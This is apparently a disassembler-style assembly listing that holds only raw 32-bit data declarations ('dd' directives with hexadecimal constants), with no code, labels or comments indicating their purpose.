		dd 0BFB1A30Dh, 0D3DE86C0h, 4276274Ch, 0C9AA70EEh, 7F7ECCF4h
		dd 0DA900F0Bh, 6FE715E0h, 0E546D26Eh, 0CF7C147Ch, 43826505h
		dd 2F148043h, 61E55203h, 149A0DC5h, 58E1AC3Bh, 0AE5AE970h
		dd 3BF4250h, 50534529h,	94D40C64h, 9532430Eh, 8D8859F9h
		dd 0F12E7C26h, 0D2BC8289h, 8F9331DCh, 7847A02Eh, 119B18A1h
		dd 49D6F8D4h, 8535AB6Eh, 0B07903C5h, 758BD0D2h,	693E1487h
		dd 4E707E61h, 5E1F303Ch, 1460923h, 7D888B48h, 97C3815Dh
		dd 0CA0F1B5Bh, 6A84ECD4h, 0C7AEBCCh, 83EACBEEh,	0FAAB2988h
		dd 395E8B74h, 0D0BCB85Fh, 327BB6CBh, 633D90A7h,	9A11EB09h
		dd 762F20B6h, 0E1275371h, 0E14430FCh, 8542551Eh, 0E52FCFFAh
		dd 1BEA830Dh, 0E101CE4Fh, 0C0051362h, 97F3A8E3h, 6B0837F0h
		dd 4CFAE830h, 1D87E5Ah,	0E27CC0DCh, 9CCA441Dh, 43EF3141h
		dd 887566Ch, 527D600Eh,	1B121E2Dh, 654ACB05h, 0D6447939h
		dd 0F08EF71Fh, 4A87E87h, 0F130DD4Eh, 0C292FE78h, 831F128Fh
		dd 0AD41BD97h, 9C63D15Fh, 0C831AFA6h, 0EB472414h, 0A7FE0AFCh
		dd 80E58CECh, 0CB4AD9B8h, 0E5F6DF70h, 52C43E88h, 5794B20h
		dd 47ABCBD6h, 348D2129h
		dd 104B31F8h, 3313775h,	519D1F6Ah, 7D98C608h, 0CE23CAA8h
		dd 0A6A36133h, 0C849485Dh, 680EBD5Eh, 0CF992EDCh, 207E8C2Ch
		dd 41480E0Dh, 216FB59Dh, 0D651CDDEh, 0B7703646h, 3B830F6Ch
		dd 6B3F2C0Fh, 0DFF664Dh, 0E6DD1BC3h, 65EAC5C1h,	35D59A36h
		dd 6F1B3C10h, 620FF02h,	8AA5FD9Ah, 82596345h, 7F910B89h
		dd 82D1EE72h, 3C8A189h,	0BF215092h, 0B81F7386h,	0B00BFE1Bh
		dd 0B772FCB9h, 2687CE05h, 46735ABAh, 0A8EC514h,	4269DE68h
		dd 515E4516h, 0D0569EDDh, 0E5E946DAh, 0A29ADA2Dh, 2A0D20D0h
		dd 0E509DA81h, 0B0F0D335h, 114435D7h, 1E8F4E40h, 0B0069A78h
		dd 526D926Ah, 0D6F158BCh, 0D086DB06h, 658E56B4h, 7580E6B9h
		dd 437B8E60h, 0ACB6B210h, 41988B03h, 84D12C70h,	2F5CC01Dh
		dd 90012E06h, 0A6A931EBh, 0A80A072Bh, 40B81A51h, 624C8B9Dh
		dd 15EBA682h, 1BEF053Bh, 4163B39Dh, 0E0BDC2CDh,	0BEDFF04Bh
		dd 0F03B57D1h, 0AEE70420h, 0BF4AF62Bh, 39D636A2h, 0ADFF531Bh
		dd 0A28EFD7Ah, 0CA546881h, 4190F76Fh, 0DC256C8Ch, 48442C7Ch
		dd 0BFFCAF1Bh, 0D8C0E849h, 60B1B40Ah, 188C14ECh, 4F712845h
		dd 16AA91FBh, 0DDDCE5FDh, 0B23B9D7Ah, 69BAB767h, 38A1F8DEh
		dd 404ED9E8h, 0A4FE13Bh, 6C0F28B2h, 16939EC1h, 0A6D45CDFh
		dd 84BF7C1Dh, 0AA04D1C5h, 4854FE3Ah, 4EB06DD2h,	0EEEBA18Bh
		dd 0D102928Bh, 396B3346h, 0C32B40Bh, 9A52C6CEh,	0EC1CEB1Bh
		dd 0C5105E2h, 852D9C4Eh, 19CC8A68h, 90E893D0h, 64827A8h
		dd 0B6A77C6Dh, 0AFF26BDAh, 0F482C949h, 9D5AA865h, 80A147DBh
		dd 2ADD7BA6h, 0AF68150Dh, 4AB261A1h, 0B4149A5Dh, 90F61590h
		dd 0C536BE4Fh, 0CC53FB3Bh, 16626EC2h, 18F0D560h, 956269E3h
		dd 0A4A6C9BEh, 67205BA6h, 0F3968672h, 692C52E7h, 0B91B9CDEh
		dd 2DCE3557h, 0F6AD15E2h, 482AB38Bh, 2F2CFE02h,	2F41B56Ah
		dd 24984573h, 64F7209Fh, 1F8F81A4h, 79AA6Dh, 0FE536B7Ch
		dd 0B345A7Dh, 0CA51E715h, 20B9A15Dh, 6BE36E79h,	8A4B6075h
		dd 0F3B6BF0h, 39598A52h, 98006761h, 27E9CAB9h, 315B1773h
		dd 0B11DD9EBh, 0C26C3C08h, 704D06DFh, 0C55D11CDh, 537C4D99h
		dd 4E78CD4Ah, 0E41664A2h, 9D0165F6h, 5BD192DDh,	0B18D9C4Bh
		dd 0C7BCC671h, 49B02C14h, 8632BE12h, 0BAAFB842h, 5B98D62Fh
		dd 0D5F6E354h, 8E700113h, 0C06D097Ch, 363D3786h, 3584E16Eh
		dd 44EEF9AEh, 0B0A5910Ch, 0FA1CFD13h, 0BA8F288Dh, 0D7D65FF2h
		dd 20CCC44Ah, 5DC32CA6h, 0FF3FB327h, 79BD789Dh,	3F97FAE2h
		dd 12615FDh, 5AD67127h,	0FCBAA104h, 34D6C2A2h, 0BCA6B5DEh
		dd 0A2E7E091h, 76008FEAh, 757FF51Eh, 0E977D30Bh, 9E4CC98Fh
		dd 0E6858FF6h, 6CAFF6Fh, 9492C541h, 8841162Ch, 0EDFF034Dh
		dd 0F9C11E7Ah, 1086E0A5h, 39DCA9EDh, 26161866h,	5D3102C8h
		dd 2E143BC7h, 54FB1BE7h, 7F480BE0h, 75D41DB1h, 22C697B4h
		dd 855CFD33h, 381F381Fh, 96E1610Fh, 0AC7AEEB3h,	3EF9A248h
		dd 56E90C1Dh, 5859D8Fh,	81BEDAD6h, 39D0AC51h, 0E5324F98h
		dd 2C206F9h, 271D8D2h, 629DECD4h, 576CD180h, 0F7B68249h
		dd 68A0E176h, 11EBA2FDh, 692A197Ah, 61013427h, 61E13DFFh
		dd 0F9E4750Fh, 0D2F5857Eh, 7BC9E87Ch, 4952C01Fh, 0B0B1AD60h
		dd 5A54BF35h, 0A30ABC5Ah, 20CFFBB1h, 0F6805E5Ch, 428D26C1h
		dd 91C1EAF4h, 68633B7h,	7EB13D4Ch, 0C246FCEDh, 0F89A40AEh
		dd 0BAC25A80h, 2744F1D7h, 54478403h, 3026AEBh, 87C5536Eh
		dd 0E59E7022h, 2DEAECD4h, 6CA03BABh, 496D9EBFh,	57CCB605h
		dd 14EE936Fh, 8144AFECh, 0F9B1AB58h, 0C19C9AD6h, 0CB11B565h
		dd 7E010856h, 0FCBBD59Ah, 5A1E07EBh, 0ED485195h, 0EF96C3B6h
		dd 45331FEAh, 164AD73Dh, 4AE32644h, 4ADE5BCDh, 552ED3EBh
		dd 4FE2095Bh, 846B2D00h, 802BB01Ch, 7F74FFA0h, 0F29A051Eh
		dd 0BA242385h, 0C090E885h, 5885D3D1h, 63CEF9DAh, 0D30EF5DEh
		dd 724B1E52h, 6C7304A4h, 9157D238h, 0C20BBEB3h,	0C9DBE47Fh
		dd 3A842F2Ah, 0D5854398h, 0ECBABCE8h, 0A47C1D14h, 3FCAE4F8h
		dd 0BF3A376Dh, 0ADF6D849h, 6350221Bh, 0B1025D4Ah, 8E7ABC84h
		dd 83ADF5DFh, 2C84706Dh, 5C2D5342h, 2657608h, 0D700490Eh
		dd 0DAEE2017h, 3D0CBD38h, 0DD39870h, 2326ADBh, 1708C780h
		dd 6CCBF493h, 99A422E1h, 5362B9F7h, 0EF83E598h,	0F6732BE8h
		dd 0E2E5279Dh, 0DA180663h, 6FD552DEh, 0C98DE61h, 0ED35E709h
		dd 844E953Bh, 49D0EE56h, 6D84630Ah, 0A93167CBh,	0D677A6EAh
		dd 0A626016Eh, 8F27011Dh, 0D4B58671h, 6BFA344Fh, 5587597Ch
		dd 91B7FCBFh, 0E1299A6Eh, 3BF26A7Ah, 0E4A63A9Bh, 1271B528h
		dd 0F64A3C6h, 0E9C82B4Ah, 2CC9F706h, 4EC61D3h, 26558B44h
		dd 5F77D5A3h, 7C0C418Dh, 3ECA9C0Ch, 0DEA301E4h,	16316445h
		dd 7C0A9D33h, 6D53AE3Bh, 887CBAC3h, 58A0BB1Dh, 70396581h
		dd 552C71AAh, 37EE3BA5h, 3AE1A818h, 0B0640D38h,	1F394F9h
		dd 2C00BF0Ch, 5430AE14h, 2C92CB6h, 2E8DCC4Eh, 24EB85ADh
		dd 3DB0C03Ch, 945AFFF1h, 0FFF94C18h, 0C9A0771Eh, 8D782FA4h
		dd 0C3AA613Fh, 9507CB49h, 82145EBFh, 692CF5FAh,	148D6FAFh
		dd 93B7EA7Bh, 46FD3029h, 3F67BF65h, 0F7C8A14Fh,	83078851h
		dd 6BF34111h, 486CABDDh, 82BD2A96h, 0B58287BFh,	28D17811h
		dd 39D3F5B8h, 1396DA98h, 8B6E2010h, 0FBC942E4h,	9CF9AF59h
		dd 0CCF28D82h, 8E472023h, 0F45E07DFh, 5636DBDBh, 1729CD9Fh
		dd 221D5A4Ch, 0A115AE2Eh, 0E73D142Bh, 0FF8DA2DBh, 8B3B3866h
		dd 6D745B5Ah, 98C6F3D1h, 96AE94A7h, 4155A644h, 4B66CB97h
		dd 24AE3ABDh, 2FC5B321h, 2E8E0D0Ch, 0DD88DFA4h,	225E468Dh
		dd 0D89B1A09h, 0A6A7A200h, 0CA42686Ch, 389879E6h, 67A4686Ch
		dd 9E1A8711h, 13336329h, 9FA71B9Fh, 948B1A79h, 0F13BA859h
		dd 0BB3D545Ah, 79746A11h, 8984B5A4h, 0FAD688ABh, 58ECC504h
		dd 566F04A2h, 5C383538h, 0C825D19Ch, 0E01F8CE3h, 3B165172h
		dd 0BAFECCB4h, 7FBE5CA3h, 8DB2B060h, 3888F9DAh,	425514ABh
		dd 0CAABA259h, 0A895D966h, 723E689Ah, 0ECA357E4h, 0B3EC8FD8h
		dd 0A75FEF16h, 0F7AE7AA4h, 0B662087Dh, 0E460C2B1h, 0DAFAD3B9h
		dd 8ED44E8Ah, 9A5BC2E5h, 88D0052Dh, 12C847B9h, 242B9921h
		dd 91B8A1C8h, 0B3C86E25h, 69C9A82Dh, 0B62ACAC6h, 8BDE32C1h
		dd 9741B3Ch, 2707BFB7h,	0DDFB36ADh, 4357084Fh, 31CD5A11h
		dd 0FCCC2FDFh, 391BB3Bh, 9A81C424h, 6C899BB4h, 1A696648h
		dd 0C5E5E5B7h, 0CCC57174h, 1E178A3Bh, 0DEBD8084h, 1BB0B297h
		dd 5761FF6Ch, 2DE58122h, 66B29CB4h, 0DA72F039h,	2B638E70h
		dd 0B5A431B7h, 0A1F0A64h, 0D98A3064h, 257FBE05h, 0DFF9CABDh
		dd 0D87C6F3Eh, 0D2B5C8A9h, 98F346FAh, 6BE610h, 38185F39h
		dd 8FF41D9Ah, 7754DF0Dh, 6DC2F9A4h, 4CAACDD4h, 38015245h
		dd 0C212999Bh, 0BAEEC1C4h, 10337F3Ch, 8AD1BAE5h, 14FB40A2h
		dd 0AA391A4Ch, 298A345Dh, 5731B921h, 1765CC9Fh,	807DE0D2h
		dd 4B9F4D3Dh, 135E27E4h, 2616696h, 59591D3Ch, 0E1B66612h
		dd 0C3F17319h, 1774CBE2h, 9D805A77h, 7BEE4793h,	0BE2B130Ch
		dd 85273A1Dh, 0D8ABCB4Ah, 0F9FBB22Ah, 5FA2D021h, 0B5889758h
		dd 54F39334h, 0B7B3122Ch, 6D4E9FA5h, 2C3FCD17h,	0A4C6979Ch
		dd 0A2A2DD15h, 8C639120h, 3892C64Eh, 983745C5h,	4C6F0009h
		dd 0A3D7CD55h, 0EC93AD6h, 0F85E7723h, 95BBCB5h,	88B0AF3h
		dd 0E68BA6EEh, 0FBAF53AFh
		dd 2E8A550Dh, 0F853B7C2h, 2D391501h, 0C1E5E82Dh, 45A7539Dh
		dd 42BC1F1Ch, 646A57BCh, 987BECE5h, 77FBC903h, 7C395DF6h
		dd 269B1FD4h, 0A161A898h, 4F5C1B6h, 19494338h, 2ED6B5CAh
		dd 638D2EC0h, 4EE2CDBCh, 71B311F2h, 0F07F714Fh,	6C1D8EEAh
		dd 0F4390696h, 33EB1173h, 0B5161A8Fh, 1043D621h, 0E658CDBFh
		dd 0EF58DA16h, 558FA5Bh, 0C3ED234Eh, 228F6117h,	0E7EDA659h
		dd 94F8C995h, 7FC660C6h, 7F1A5F5Dh, 62884D74h, 0F6660002h
		dd 54FCF423h, 0D73FACE2h, 636EE1F8h, 0D5F5087Ah, 0F7DF61F0h
		dd 0E8EF2E28h, 709CE662h, 58C87AE4h, 0ACE5C27h,	96F653A2h
		dd 0FD08B9B1h, 9A39A169h, 0B134AE12h, 43D4E225h, 0F2232BFFh
		dd 0D9E7CDB1h, 3A6822CEh, 0E50075A0h, 0E33BAFEBh, 44415224h
		dd 0BE9CAF84h, 0C7251C67h, 8311C445h, 8F1FA9EDh, 0A757379Dh
		dd 0F131A899h, 241FAED4h, 4FE9C01h, 601EBD5Ah, 1AA8810Eh
		dd 0C9FCCB24h, 0E577BDA4h, 0FF5DA5D6h, 87F78DE3h, 95C8EED4h
		dd 7B8A65CCh, 0BBB3022h, 0A95E9A73h, 63E6B96Dh,	0A28764E3h
		dd 91111F39h, 2802B7C4h, 4B3DC3C5h, 89263325h, 547DAC7Dh
		dd 2C8A656Ch, 702740DDh, 88F8949Eh, 15E4C659h, 60242EA5h
		dd 0E81458D1h, 86BA36ADh, 23AD6DEBh, 0E6C792EDh, 0C2A0358Fh
		dd 0F2CFF355h, 70B4C4AAh, 93B240C7h, 263D343Bh,	10C77E7Bh
		dd 0DBB9398Ch, 0C105ACB4h, 882CED7Fh, 7DEA347h,	0CEB70AE3h
		dd 2A2FC464h, 6D6A0CCFh, 0D133F65Dh, 0FDAAF054h, 0A93E4832h
		dd 0D701C771h, 68F048A8h, 0B7BBC17h, 0C417B1FAh, 4A4430AFh
		dd 0A11599E0h, 0F72F22F8h, 3AF4BD1Bh, 0DE3A16E3h, 0C0485D39h
		dd 7CE335D2h, 48DB7767h, 0B24E9EF3h, 2BA6F027h,	1D1787A9h
		dd 4158F8C4h, 0C4F8FE2Ch, 0E5B4D076h, 5DDE4BAAh, 885BC979h
		dd 9F900816h, 0B8B7941h, 0EF53E5B2h, 0A849684Fh, 0F4121D57h
		dd 791DE8D0h, 0BB85D3A0h, 9763145h, 8CE16D1Dh, 732BD520h
		dd 72BADF61h, 1ABEC98Fh, 31C08DD1h, 92FF79C3h, 63A5EB86h
		dd 0D8B3555Ch, 9088CD37h, 52784A9h, 761CD59Bh, 355D98B3h
		dd 7C11D9CEh, 0B66C388Bh, 86BF229Ch, 0D71CBF9Eh, 0BAFC3C4Eh
		dd 0F4EC8698h, 0CF7B4B14h, 0CF1E0003h, 0E333148Ch, 0ABE7D5FFh
		dd 240C9D01h, 71698526h, 377C17AAh, 0C78C9E65h,	88C7C19Eh
		dd 352D27ABh, 9E60F652h, 0F3B86748h, 5A79B90Eh,	4C05C57Ah
		dd 0BBF1C0E0h, 0B25CE048h, 0CA76622Fh, 3DC7680Bh, 471A55ACh
		dd 820F4D21h, 0DACBC665h, 0FFD952E6h, 0E8434B46h, 400E876Ch
		dd 9AAFD13h, 14AE08D5h,	0BF9B4B79h, 554E7DC6h, 852EC4A8h
		dd 731F8C63h, 73FD958Dh, 263A5418h, 5255506Eh, 219B29ACh
		dd 89B33B8Dh, 0D780E19Ch, 0DE36928Ch, 0F06CFE0Ch, 66426BBFh
		dd 32062264h, 8E8F18D6h, 83418B8Fh, 20F2716Fh, 0FE1AB887h
		dd 45D55936h, 7578F26Eh, 9519ED5Fh, 0F3F75B60h,	91CDD25Dh
		dd 0A1EDBA61h, 1C2A0C52h, 0F4DA460h, 0CE2AA8D4h, 9A9DC4A4h
		dd 2DA3CC62h, 0B6413A8Eh, 48293116h, 888B85F4h,	0E3AF17B5h
		dd 2F0AE2EEh, 0B3223CCDh, 34ABF14h, 4B54D45Ah, 1FC90845h
		dd 0B16BC25h, 27A10C83h, 0A1C4166h, 6CC894C0h, 0B7521D42h
		dd 2F5E88F1h, 0D3FBABB4h, 0C6FDEC17h, 435D106Ch, 3502C1DBh
		dd 2B2BC2C9h, 0CD2C50A9h, 0CF9ABDA9h, 3360BA32h, 0AEE070EBh
		dd 0CBFDFE56h, 0E1BA2379h, 0CCFD103h, 4570E3EDh, 0CAE839C1h
		dd 35E6FFD3h, 0EEF69371h, 24D1CDCDh, 19CEBEF7h,	0F0DBF211h
		dd 0B13ED5E6h, 0A46408F5h, 9DEBFC5Fh, 0DC125CBCh, 329DC522h
		dd 10D8649Eh, 52519273h, 0B1FB0638h, 0DD3CB579h, 0E603FD95h
		dd 9CFF11CCh, 0B81EC398h, 5B6EEB1Eh, 0ACCDDD56h, 0AEF5EB1h
		dd 9F334C53h, 5BF1DE56h, 64C77731h, 0C606A64Ah,	91C5811Ah
		dd 4DFE49A2h, 420D7BBh,	4AE9EB87h, 2C72C15Bh, 83614789h
		dd 95ACDDD6h, 0B5C4861Ah, 2B444B74h, 157567BAh,	30C175C1h
		dd 10F1E984h, 353CEEF1h, 0F0C10532h, 2DF629F4h,	6C7B5B99h
		dd 37EEA265h, 0BF50C879h, 5AA3748Eh, 0EC5DBF77h, 667BF1BFh
		dd 0EF667259h, 516D2091h, 0F635BF04h, 63603D84h, 5F3B8329h
		dd 95B2F3E4h, 152D35D2h, 0E8BF3DE9h, 3E70211Dh,	73CF729Fh
		dd 0C1321CA4h, 0A3298D0Eh, 6443F4CDh, 3880AE0Ch, 12F145h
		dd 6ACF1468h, 3A68335Bh, 0C99F5115h, 9F2A9E65h,	4184A1D7h
		dd 0BE7654AEh, 6B297CF0h, 0E2B6840Bh, 6D7A4BE0h, 0E69FA34h
		dd 5EA1446Ah, 57967558h, 0BDADD89Ah, 0EF42E7Eh,	56F90BEBh
		dd 444DB639h, 4C397B85h, 0A761C48Dh, 0B8E631D9h, 3693CE0Dh
		dd 0C44E1101h, 6C4E112h, 0D34CC322h, 0A2CF59D2h, 0F9B6603Ah
		dd 40A75473h, 0D02DC51Eh, 0A46B1B70h, 3A8205BDh, 0F838D07h
		dd 3103E007h, 0EF66BDEh, 5190D374h, 2B86B68Ch, 86604A8Eh
		dd 87506E9Fh, 0A6ED1090h, 523B75D1h, 7C1DDF1h, 0F894AE02h
		dd 2877A9A6h, 0FCDB7495h, 70E38336h, 0DFB2C840h, 320828F6h
		dd 5091BE99h, 8C1B2A31h, 4CA250A8h, 322C1339h, 0E34F8196h
		dd 55DCE34Dh, 0A6F2A384h, 348BBD9Eh, 154716DFh,	153390A3h
		dd 0B1DA4D98h, 0DAC60560h, 37D6AA3Ch, 8986A852h, 0A7564AE5h
		dd 0E9788867h, 0D55ED624h, 0B9DD5654h, 0A2F3F5F4h, 0CF70F73Bh
		dd 0CFE1E86Dh, 0DC50B484h, 6FD6559Ch, 97598AFAh, 0CE32B9A1h
		dd 9AB5123Fh, 2B0656BCh, 4326165Ah, 4BE808D5h, 200B5CAEh
		dd 3CCD68CFh, 0C53B03F1h, 17961F94h, 795042DBh,	0BA9FC020h
		dd 0E5BF010Ch, 0D21AD2D7h, 3B3A4C7Ah, 5C5D3ADBh, 0D244ADBFh
		dd 636546Bh, 0BD71B8A2h, 0C9CF6EB8h, 1802D7E0h,	15EBC6EDh
		dd 136C2E09h, 0ED93FA86h, 0BEB3A043h, 0DAC98DADh, 0BBD9ED36h
		dd 99CAF505h, 7E1DF0h, 9EC578C8h, 7E2EA7F5h, 0ED1AFDE8h
		dd 71391F56h, 0F851879Ch, 0D6EF71FAh, 2F424F14h, 0F1AFC033h
		dd 3CA3FE63h, 0E4B5318Ch, 9AF491CCh, 0AD9EC08Eh, 9AAAD4CEh
		dd 0FA6E4C25h, 20713D65h, 24522B37h, 1F9E4946h,	4AC536E2h
		dd 0B61AEBA2h, 5545411Fh, 312B56D3h, 7CB7382Ch,	2213CB1Bh
		dd 0A88886E0h, 0A1F8277Eh, 0A69206Fh, 0C5FAA7C6h, 6F1953C3h
		dd 0FCFDD668h, 41AB18DCh, 0EA7ED93Eh, 0A3A0D1F5h, 96A087C8h
		dd 69AC0045h, 4EDD841Fh, 707C3133h, 0D7F2FC40h,	0BB733F4Ch
		dd 0C487EE00h, 87CDF078h, 0F2E9BECAh, 13174FD5h, 8420D2DBh
		dd 932690A1h, 0FD053E1Ch, 34083239h, 0C01F01A8h, 0F518E6CBh
		dd 0A7FC553Fh, 0E2608306h, 375ABD87h, 3AE0CADCh, 0FD987966h
		dd 0C637FD36h, 90C480B6h, 2B01EC88h, 0C3B8710Ch, 46E64CF5h
		dd 1D85C0CEh, 0DB6E2D29h, 0B6404E90h, 0DEF04310h, 9468C78h
		dd 0D230DB2Dh, 3F90BA55h, 0CBE8CB8h, 322B4C87h,	0B2705852h
		dd 0C9ABA92Ah, 7486BABEh, 68315062h, 0DBD14A75h, 0AB63F8E9h
		dd 6CFEA442h, 0F3177E1Dh, 5D79459Fh, 2F31CF48h,	0D6FC7E3Fh
		dd 997F84A8h, 5A769249h, 66E7268Dh, 5854A215h, 168C4224h
		dd 0E380B26Bh, 0FDE90F81h, 18DAEE67h, 41FD9C24h, 0E8DE2787h
		dd 0D7715FFh, 5297BD4Fh, 0BF0854E5h, 8EF9FC1Fh,	78E213ABh
		dd 0CC07389Bh, 1E914D47h, 1B2EF1B5h, 0A31342CCh, 0F584C572h
		dd 0E1453C9h, 0A5B24DF7h, 0F27CA8F3h, 819E50BAh, 8959A920h
		dd 72F60F0Dh, 0C12BBE3Fh, 8FB230E4h, 1EBD957h, 0DDC4A4F3h
		dd 79FACED4h, 3ECA8058h, 1FCB661h, 0A51A9C6Eh, 580A1BB7h
		dd 938D6A51h, 0FBAC7291h, 76399F8Eh, 5DD9DD15h,	0DCF1F75Ch
		dd 84ED54CEh, 6E20B39Ch
		dd 0ED75D3E6h, 4FA58DD7h, 69A016D0h, 0C91B6A11h, 0C2D727A8h
		dd 44ABCA54h, 854BA548h, 1AA02F63h, 65463B0Eh, 0B6149F38h
		dd 0AAB70094h, 0BCEA604Bh, 7EBD1194h, 1580B09Bh, 47BD2C04h
		dd 0E6842046h, 0CB422CDDh, 624B8E7Ah, 26DF7860h, 8DBE23E5h
		dd 6C6CF619h, 8F51AB2Ah, 3CCED52h, 94A41315h, 5CCF563Ah
		dd 27106E1Bh, 3FCB3350h, 0F93FC59Bh, 0CBD2E1ADh, 8E2BBEFCh
		dd 0B14C1BF3h, 7A0F76EFh, 0C2CE10Ah, 5EF542D3h,	0EAF86D72h
		dd 46A825E1h, 7C781CBEh, 7238963Ch, 0BEA7B3B8h,	2B7C5F13h
		dd 688DE785h, 62ACD6A2h, 56740043h, 0B47E6EE5h,	79809975h
		dd 77065C9Ah, 0EF1DAECCh, 17467771h, 0B317C90Eh, 97482572h
		dd 0E1C9E714h, 0ABD90A44h, 3E5A5F67h, 2698E0C7h, 0F078F631h
		dd 161932E2h, 0DB40AB95h, 0AA33828Dh, 82225B2Ah, 93E48250h
		dd 48B487C4h, 0D8155EF7h, 0F7AC89A1h, 49AE3286h, 96B4C33h
		dd 0FC287884h, 0FBD66A4Dh, 2A49B9E9h, 0E65E6C6Fh, 0E835C4D5h
		dd 0AA5BD4BDh, 346722E1h, 92BFB208h, 58CDA053h,	5487672Ah
		dd 14FF198Ch, 2348E25Dh, 236C1D61h, 0B7135A93h,	0A3A45D88h
		dd 95D64958h, 0D85A7ADEh, 0FE863231h, 16A63DEh,	0B675F2C6h
		dd 6CF2526h, 0A22A50FEh, 36C1438Eh, 988A32C6h, 1B3675AEh
		dd 0D8C5D115h, 0B4F4288Fh, 6F256123h, 5EC8ED55h, 6E527787h
		dd 0DB91EDA7h, 0C9BCEA8Bh, 17CC57D8h, 26C60C3Bh, 0F718DC76h
		dd 5DDBEA2Bh, 0FD6A48A9h, 84F3AF76h, 0F39E8A3Eh, 7CDF71C4h
		dd 10819A61h, 3BC9C4A6h, 857584E7h, 4C0A4221h, 1B986D06h
		dd 0E10F4E8Ch, 0B0747C25h, 91555291h, 3CB85445h, 0C266CF92h
		dd 55780FD4h, 60EB91CDh, 0C5557C61h, 34A0FCECh,	4370E627h
		dd 3B0E2B26h, 643625Ch,	0CBB15655h, 77EFA634h, 6DEA0CDh
		dd 23856E37h, 97DEE8Ch,	0C4BFF6DFh, 95392952h, 0AFCC79B4h
		dd 0D65A6675h, 0F4CD43A4h, 26209CFDh, 0FDE5B223h, 50E2D130h
		dd 0C6C7C229h, 0C37F0413h, 0B888F056h, 0AD9DAB17h, 0DA9CBD9Eh
		dd 0D1241A69h, 83352A8Eh, 3696905Eh, 931BFD77h,	89609E62h
		dd 2CCABEC2h, 5F35FBE7h, 913FBCC8h, 67B3CCC6h, 105AB0AAh
		dd 3225F5D6h, 4E98DC84h, 613C73C7h, 70E9C9F3h, 7C861146h
		dd 54DF1686h, 0EE34FA19h, 5B04ED51h, 8FED669Bh,	29B414E1h
		dd 3611D464h, 9A2F620Eh, 0AC54E606h, 0D638AAF8h, 0C73F0EFCh
		dd 218E7BFDh, 433616Fh,	0A219F5F2h, 6DD55E75h, 1EF280ADh
		dd 0B56F8BDEh, 93F23404h, 0F9322C9Ah, 0AFF93DB7h, 9366E52Dh
		dd 9754A8A9h, 4816D727h, 0EAE8BC80h, 0D64B82FAh, 972FF33Ch
		dd 34AF9F8Ch, 99749E81h, 0D3611878h, 0B8234DD8h, 937AEDD9h
		dd 0CA6507CDh, 0ED637637h, 0F542C124h, 0FF02993Bh, 0E3B57F3Dh
		dd 0E474403Bh, 3A8FA923h, 0FD82D4A8h, 0EBBFF2Eh, 0C4B3B339h
		dd 7672D903h, 0CE08078h, 5A6FFB59h, 25BFEA51h, 0CD224FFEh
		dd 0BD9C3247h, 0D0AB6DA6h, 3F45D793h, 0B03D591Dh, 0DE530C2Eh
		dd 0DD1946CBh, 2FF8DDA4h, 0E645A8CFh, 68D17542h, 0C08522B1h
		dd 4A9AF51Ah, 5695E0CFh, 59BD85C4h, 1B791F02h, 49EF3726h
		dd 19FB759Ch, 4AF4A65Fh, 1A4C1624h, 74231DB0h, 79DC8E02h
		dd 0B7BA5CE2h, 77AFC8B2h, 1D6FC709h, 425B7416h,	5C08E562h
		dd 728053D5h, 1C423B09h, 395C353Dh, 0A5770BB6h,	36507517h
		dd 42BD8B95h, 0A6CADE6Fh, 0EB1B3EE8h, 661E27D7h, 0A66FD030h
		dd 0D79799E6h, 6EF552B2h, 868FABDEh, 0A452E34Fh, 0AC05CE2Ah
		dd 1749642Ah, 0B2333186h, 0D2F5B924h, 0F71041E3h, 0C7ECD1F4h
		dd 746037B7h, 0A2876862h, 435E13B8h, 40D5DB20h,	1E6CE021h
		dd 0F4AF4D42h, 455B163Dh, 0C6E8B1D0h, 8BAF1971h, 905F43C4h
		dd 0FE7C2902h, 41FE1748h, 0B97C1A0h, 0A9DEA871h, 133312E6h
		dd 0AA36F1B4h, 3C76E388h, 0C8BF6A3Fh, 0E44F3A2Ch, 0B982E55Ah
		dd 0C5FEF847h, 0EBAEEC36h, 0D4DB3A33h, 29D1FC18h, 0C5AE30A4h
		dd 4CB902E1h, 73398ADCh, 26806DBEh, 0C2B427D4h,	0CDDD7A6Bh
		dd 86E205CAh, 9D3141B4h, 0FC5F2DD9h, 6A58C16Eh,	4FD413D4h
		dd 0CD219110h, 1766F78Ch, 70658632h, 5C32871Dh,	0A7760283h
		dd 0DD7077Ch, 0AA5D1684h, 19C66A1Fh, 34D9AA6h, 37264607h
		dd 0D1A9A4A9h, 51BEB03Ch, 7298ECE7h, 0C39C7031h, 5EA69370h
		dd 0A9AA8872h, 56EFC2E6h, 0D1ED4A53h, 227919F0h, 0BA987BECh
		dd 0D23DEBD3h, 0EAFA5553h, 0D7CFD8C0h, 0CFE345B5h, 4373EA35h
		dd 49DDDDA8h, 69AE1904h, 91261CAFh, 0EB8403CAh,	198F4306h
		dd 0C7E75750h, 9C441019h, 3CD9E4ECh, 95735F82h,	0BD752424h
		dd 8DAD342Ch, 9A937BF7h, 0A12C5B0Dh, 0EB2582C7h, 0EFAFA8D5h
		dd 0B59CBC09h, 0F5A21169h, 0D336C588h, 87708B6Ch, 0A1488965h
		dd 4DFF901Ch, 0EA0E5630h, 0B6C56E9Ah, 664EC12Ch, 0D2B4A387h
		dd 0A7D22F9h, 6A9840C2h, 2F939FC4h, 0CDA9B9ABh,	0AB704AD2h
		dd 0B92809D9h, 7067D4C7h, 67CCA56h, 0BCEE7D5Fh,	0DA9A96F8h
		dd 7F867F5h, 0DFECEA8Fh, 0FFE59DF2h, 16557370h,	0CB7CFCAEh
		dd 0B35F6D7Ch, 0CD630AEh, 5BBC2B51h, 2DEA6652h,	97C83EE2h
		dd 0BA6FD41Eh, 0B07F3E22h, 0BF8051FBh, 0EDBFEB87h, 0DB8BA78Fh
		dd 7D569D68h, 0C20C5195h, 478C40F3h, 65B37A66h,	0C36A1418h
		dd 0F4C59948h, 35689ACEh, 2E93D612h, 0D2F32E9Ch, 0F71D69C7h
		dd 53DC45E7h, 8CC13F1h,	0C268A4Fh, 7D595A50h, 1F91ADEh
		dd 6A44749Ch, 0E7FE3ADFh, 8B833791h, 2591B3B5h,	1285075Ah
		dd 0B96B469Ch, 0C46DA2B2h, 98A260E4h, 0A180E4F4h, 0DE28C889h
		dd 0DA3FC6ECh, 0C8B967EDh, 9522F6CFh, 0E36F9060h, 0CD9E9346h
		dd 194EEE9Ch, 763C51F1h, 8ACAE4FBh, 0C88E6196h,	271BC171h
		dd 5D95DEB6h, 0BFB3230Eh, 937C67F8h, 616EF125h,	5C76E74Fh
		dd 36439D17h, 273C6967h, 0F0D6F620h, 7D122FFDh,	902A2F78h
